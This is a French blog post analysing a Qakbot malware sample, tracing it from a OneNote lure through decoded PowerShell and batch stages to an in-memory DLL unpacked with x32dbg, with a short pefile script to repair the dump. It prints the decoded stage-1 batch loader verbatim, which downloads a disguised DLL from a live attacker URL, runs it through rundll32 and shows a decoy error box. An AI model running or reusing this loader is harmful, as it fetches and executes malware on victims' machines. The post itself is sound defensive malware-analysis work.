Home Qakbot unpacking
Post
Cancel

Qakbot unpacking

Dans ce billet de blog on parle de Qakbot et comment extraire les différents stages du malware. Ce post se base sur mes propres notes que j’ai décidé de transformer en article de blog.

Quakbot

QakBot ou Qbot, est un cheval de Troie qui est actif depuis 2007. Il a été initialement développé pour voler des informations sensibles telles que les identifiants de connexion, les informations financières et les informations d’identification personnelle.

QakBot peut également être utilisé pour télécharger et installer d’autres types de logiciels malveillants sur les machines infectées, comme des ransomwares par exemple.

Il se propage principalement via des pièces jointes malveillantes dans des e-mails de phishing. En plus de ça le malware est distribué via différents types de pièces jointes, que ça soit des fichiers ISO, JS ou HTA via One Note. Toutes ces pièces jointes ont pour but d’exécuter une même DLL.

FpBXHK7aAAAikuN Image issue d’un Tweet que j’ai trouvé marrant.

QakBot est considéré comme particulièrement dangereux en raison de sa capacité à se propager rapidement et de sa capacité à se cacher sur un système infecté.

One Note (stage 0)

Pour cette analyse j’ai récupéré le premier fichier One Note lié à Qakbot que j’ai trouvé sur Malware Bazaar, dont le SHA256 est : 02ab9be529e1ba28087cc2a3f2f1af3d1ea50e3c05cbf26b9c36eb1d942cf953.

Mon premier reflex est d’ouvrir le fichier dans ImHex et de parcourir les chaînes de caractères.

image-20230213075413971 ImHex: OneNote On tombe rapidement sur une commande PowerShell embarquée dans le fichier.

Avec ImHex il est possible d’extraire la chaîne de caractères : Clic droit -> Copy as… -> Hex String.

Stage 1

Le premier stage affiché ci-dessous, est une suite de commandes Powershell.

image-20230211164545582 Commande Powershell obfusquée

La première commande initialise une variable $aoZBaT qui n’est pas utilisée, puis une seconde variable $asOyf qui correspond à un bloc de données hexadécimales.

Ensuite, chaque valeur hexadécimale est convertie dans son équivalent ASCII et est envoyé dans le fichier C:\Users\Public\aqjPLg.cmd. Son contenu est ensuite exécuté avec les paramètres und et https://ozcontests.com/tE3xt/01.png.

Il y a plusieurs méthodes pour décoder soit même le contenu et le visualiser. Le plus simple c’est d’exécuter la première commande Powershell sans la redirection le resultat s’affiche dans le terminal :

1
2
3
4
5
6
@echo off
set avnLNf=%2
powershell invoke-webrequest -uri %avnLNf% -outfile C:\programdata\aA9Qq1dIT.jpg
r%1ll32 C:\programdata\aA9Qq1dIT.jpg,Wind
powershell Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('The current selection is not supported.', 'Data Read Error', 'OK', 'Error');
exit

Le script ci-dessus place le second paramètre (htps://ozcontests.com/tE3xt/01.png) de la commande dans une variable avnLNf qui effectue une requête HTTP vers cette URL et sauvegarde le contenu téléchargé dans C:\programdata\aA9Qq1dIT.jpg.

Puis la commande r%1ll32 C:\programdata\aA9Qq1dIT.jpg,Wind (dont %1 correspond à und soit rundll32) permet d’exécuter du code présent dans une DLL en spécifiant Wind comme fonction à appeler.

Donc la première étape consiste à télécharger un fichier avec une extension PNG, puis exécuter rundll32.exe pour appeler une fonction présente dans ce fichier.

Vous vous en doutez, même s’il y a une extension PNG, ce fichier n’est pas une image.

Stage 2

  • SHA256(01.png)= 05607693613f928a3937a391a1aa88f0dc1ada77e1738e576e5fd2a8f3bb2a0f

Sans surprise, le fichier 01.png est en fait… un fichier PE. En inspectant la structure de l’en-tête du fichier via ImHex vous remarquerez que c’est une DLL.

image-20230219214537080 ImHex pattern PE.

C’est cette même DLL qui est executée avec rundll32.

Ouvrons le fichier, que j’ai renommé stage2.bin, dans Binary Ninja. A première vue, c’est assez chaotique.

La plupart des fonctions on un nom avec le même préfixe RZN et Binary Ninja n’arrive pas à suivre correctement le flow de contrôle de la fonction Wind qui, je le rappelle, est celle exécutée par la commande rundll32.

image-20230213080929167 Binary Ninja : vue du PE dans le désassembleur.

Dans ImHex on remarque que l’entropie est assez élevée vers la fin du fichier. Ce qui signale qu’une partie du fichier est sûrement empaquetée et que le vrai stage est déchiffré ou décompressé, puis exécuté au runtime.

image-20230219223453069 ImHex: Entropie du PE.

C’est à ce moment la qu’on peut se dire que le binaire est packed.

Deux choix s’offrent à nous, l’analyse statique du binaire ou l’analyse dynamique. Pour pas perdre trop de temps sur cette étape j’ai choisi la seconde option.

Unpacking

Pour unpack le prochain stage, on utilise x64dbg.

Notre binaire étant une DLL, il n’y a pas de point d’entrée explicite comme pour les executables PE. Une DLL est conçue pour être utilisée par d’autres programmes en tant que bibliothèque de fonctions.

Donc tout comme le stage 1, on va utiliser rundll32 avec le debugger ce qui permet d’éxecuter une DLL en spécifiant une fonction présente dans le fichier.

Ce fichier étant un PE 32 bits, c’est la version 32 bits de x64dbg qui est necessaire : x32dbg. Avec ça il faudra aussi utiliser la version 32 bits de rundll32 présente dans C:\Windows\SysWOW64\rundll32.exe.

Des que rundll32 est chargé dans le debugger, il reste a changer la command-line utilisée : File -> Change Command Line -> C:\Users\mathieu\Desktop\rundll32.exe C:\Users\mathieu\Documents\Qakbot\stage2.bin,Wind.

Cliquez sur “Run” (F9) jusqu’à ce que x64dbg arrive dans le module stage1.bin, il devrait initialement être dans ntdll.dll puis passer par rundll32.exe avant d’arriver à notre cible.

image-20230211164545582 x32dbg.

Plaçons un breakpoint dans la fonction VirtualAlloc, au niveau de l’instruction de retour. Avec le combo de touches CTRL+G cherchez VirtualAlloc, le debugger nous amène à un appel de la fonction.

En appuyant sur Entrée au niveau de l’instruction call cela nous envoie dans la fonction. Il reste à placer un breakpoint au niveau de l’instruction de retour ret 10, puis on RUN (F9) jusqu’à ce que le registre EAX soit à 10000000.

Dès que c’est le cas, clic droit sur le registre EAX : follow in dump.

La visualisation hexadécimale du dump est remplie de zéros comme vu ci-dessous.

image-20230211164545582 x32dbg: visualisation du premier dump de mémoire.

C’est à l’adresse 0x10000000 que le PE devrait être chargé en mémoire. Pour l’instant, c’est vide. A ce moment la on peut placer un hardware breakpoint à cette adresse et arrêter l’exécution s’il y a une écriture à l’adresse en question.

Clic droit sur le dump, Breakpoint -> Hardware, Write -> Byte. Puis on run à nouveau. Après avoir atteint une première fois ce breakpoint, le dump contient des données et on a un PE !

image-20230212193346805 x32dbg: visualisation du dump avec de la donnée.

Si vous vérifiez un peu plus bas dans le dump vous devriez voir du texte comme .text et .data qui correspondent à des sections du fichier précédemment empaqueté.

Il ne reste plus qu’à extraire ce blob de la mémoire.

Pour ça : clic droit sur le premier octet: Follow in Memory Map, qui nous ramène dans la Memory Map, faites à nouveau clic droit au niveau de l’adresse 0x10000000: Dump Memory to File.

Sauvegardez le stage 3.

Stage 3

Maintenant qu’on a notre troisième stage, ouvrons-le dans un désassembleur. Dans Binary Ninja on peut avoir quelques informations sur le binaire grâce à la vue de triage.

image-20230212203334909 Binary Ninja: Vue de triage

Vous remarquerez ci-dessus, qu’aucune bibliothèque n’a été détecté, et aucun import ni export de fonction n’est affiché.

De plus les instructions au niveau du point d’entrée n’ont pas vraiment de sens. Un nouvelle couche d’offuscation ? Non.

Comme on peut le voir sur ImHex ci-dessous dans la vue “Pattern Data” , le soucis c’est que le contenu de la section .text pointe sur l’adresse 0x1000 qui correspond à l’adresse de base virtuelle relative, et non l’image de base du fichier sur disque qui devrait être 0x400.

image-20230212203334909 ImHex vue du PE non-alignée

Ce problème est dû au fait qu’il y a des protections anti-debug que je n’ai pas pris en compte lors de l’unpacking.

Avec le module pefile on peut corriger ça :

1
2
3
4
5
import pefile
pe = pefile.PE("stage3.bin")
for section in pe.sections:
	section.PointerToRawData = section.VirtualAddress
pe.write("stage3_unpacked_fixed.bin")

Si on l’ouvre à nouveau dans Binary Ninja les bibliothèques utilisées ainsi que les imports sont détéctés.

image-20230212203334909 Binary Ninja: Vue de triage2

Et le malware est enfin prêt pour la suite du reverse engineering.

J’ai publié la version corrigée et unpack sur Malware Bazaar. SHA256 : 6e30dc6403253650fd131d9c60db92680d319624c16aeb9e7aea4bdfc3c47a77.


C’est la fin de cette article ou l’on se concentre uniquement sur la partie unpacking, permettant d’enlever les premières couches d’obfuscation du malware.

En plus d’unpack le malware, l’objectif est aussi de faire découvrir de nouveaux outils et leur usage, comme x64dbg et ImHex.

Si vous souhaitez avoir plus d’informations sur ces versions récentes de Qakbot je vous conseille de lire l’analyse de Trellix.

J’espère que ce post vous a plu, n’hésitez pas à me contacter sur Twitter, Mastodon ou même par mail si vous avez des questions.


Liens et sources :

This post is licensed under CC BY 4.0 by the author.